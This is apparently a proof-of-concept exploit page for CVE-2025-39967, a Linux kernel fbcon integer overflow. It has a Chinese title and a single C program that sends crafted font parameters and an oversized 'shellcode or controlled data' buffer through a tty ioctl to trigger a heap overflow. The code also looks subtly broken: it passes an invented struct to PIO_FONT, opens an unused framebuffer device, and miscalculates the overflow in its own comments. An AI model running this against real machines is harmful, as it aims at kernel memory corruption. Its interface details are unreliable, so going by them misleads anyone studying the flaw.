CVE-2025-39967 Linux内核fbcon整数溢出漏洞

// CVE-2025-39967 - Linux kernel fbcon integer overflow PoC // This PoC demonstrates the integer overflow in fbcon_do_set_font() // by passing crafted font parameters to trigger the vulnerability. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/fb.h> #include <linux/kd.h> #include <errno.h> // Structure to trigger the integer overflow in CALC_FONTSZ // CALC_FONTSZ(h, pitch, charcount) = h * pitch * charcount struct fbcon_font_request { unsigned int height; // font height (h) unsigned int width; // font width unsigned int pitch; // font pitch unsigned int charcount; // number of characters unsigned char *data; // font data buffer unsigned int size; // size of data }; int main(int argc, char *argv[]) { int fb_fd, tty_fd; struct fbcon_font_request font_req; unsigned char *overflow_data; // Open framebuffer device fb_fd = open("/dev/fb0", O_RDWR); if (fb_fd < 0) { perror("[-] Failed to open /dev/fb0"); return 1; } printf("[+] Opened framebuffer device\n"); // Open tty for KD_FONT operation tty_fd = open("/dev/tty", O_RDWR); if (tty_fd < 0) { perror("[-] Failed to open /dev/tty"); close(fb_fd); return 1; } printf("[+] Opened tty device\n"); // Craft malicious font parameters to trigger integer overflow // h * pitch * charcount should overflow to a small value // Example: height=32, pitch=0x40000000, charcount=0x40 // 32 * 0x40000000 * 0x40 = 0x80000000000000 -> overflow to small value font_req.height = 32; font_req.width = 16; font_req.pitch = 0x40000000; // Large pitch value font_req.charcount = 0x40; // Character count that causes overflow // Allocate a large buffer for overflow data overflow_data = malloc(4096); if (!overflow_data) { perror("[-] malloc failed"); close(tty_fd); close(fb_fd); return 1; } // Fill with shellcode or controlled data for heap overflow memset(overflow_data, 'A', 4096); font_req.data = overflow_data; font_req.size = 4096; // Larger than the overflowed allocation printf("[*] Sending malicious font parameters...\n"); printf(" height=%u, pitch=0x%x, charcount=0x%x\n", font_req.height, font_req.pitch, font_req.charcount); printf(" CALC_FONTSZ result would overflow to small value\n"); // Trigger the vulnerability via ioctl // Note: Actual ioctl number may vary by kernel version if (ioctl(tty_fd, PIO_FONT, &font_req) < 0) { perror("[-] ioctl failed (may need root or patched kernel)"); } else { printf("[+] Font set successfully - potential overflow triggered\n"); } free(overflow_data); close(tty_fd); close(fb_fd); return 0; }